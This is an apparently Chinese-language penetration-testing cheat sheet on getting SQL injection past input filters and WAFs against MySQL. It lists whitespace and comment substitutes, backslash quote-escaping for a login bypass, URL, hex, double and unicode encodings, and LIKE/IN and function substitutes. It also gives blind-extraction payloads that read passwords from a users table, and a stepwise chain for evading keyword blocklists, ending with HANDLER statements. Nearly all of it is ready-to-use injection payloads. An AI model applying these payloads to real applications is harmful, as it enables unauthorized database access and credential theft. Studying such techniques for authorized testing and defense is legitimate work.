SQL注入绕过过滤
🌌

SQL注入绕过过滤

Published
March 27, 2023
Category
渗透测试
Subcategory
渗透测试方法与策略
Tags
SQL注入
绕过过滤
Author
KK
Notes

空格被过滤

/**/替代空格 %09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格 () 代替空格,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。
 
%a0�
这个可算是一个不成汉字的中文字符了,那这应该就好理解了,因为 %a0的特性,在进行正则匹配时,匹配到它时是识别为中文字符的,所以不会被过滤掉,但是在进入SQL语句后,Mysql是不认中文字符的,所以直接当作空格处理,就这样,我们便达成了Bypass的目的,成功绕过空格+注释的过滤

过滤单引号

当在登录时使用的是如下SQL语句:
select user from user where user='$_POST[username]' and password='$_POST[password]';
 
在这里单引号被过滤了,但是反斜杠\并没有被过滤。则单引号可以被转义
输入的用户名以反斜杠\结尾
username=admin\&password=123456# 将这个拼接进去,\就可以将第2个单引号转义掉 select * from users where username='admin\' and password='123456#'; 这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体 接下来构造password为or 2>1# select * from users where username='admin\' and password=' or 2>1#'; 上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注

注释符

// --%20 /**/ # --+ -- - %00 ; ;%00 ;\x00
 

大小写绕过

双写绕过

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过
or 1=1%6f%72%20%31%3d%31,而 Test也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

十六进制编码

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例

单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括号(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括号): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9

like绕过

?id=1' or 1 like 1# 可以绕过对 = > 等过滤

in绕过

or '1' IN ('1234')# 可以替代=

等价函数或变量

hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() 举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74  或者: substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1
 

反引号绕过

select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

过滤union

waf = 'and|or|union'
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

过滤where

waf = 'and|or|union|where'
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

waf = 'and|or|union|where|limit'
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

waf = 'and|or|union|where|limit|group by|select'
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
只能查询本表中的数据
绕过方式 1 && substr(user,1,1) = 'a'
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

过滤’(单引号)

waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤hex

waf = 'and|or|union|where|limit|group by|select|\'|hex'
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'

过滤,逗号

过滤了逗号怎么办?就不能多个参数了吗?
SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);
意思相同
substr支持这样的语法:
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)
MID()后续加入了这种写法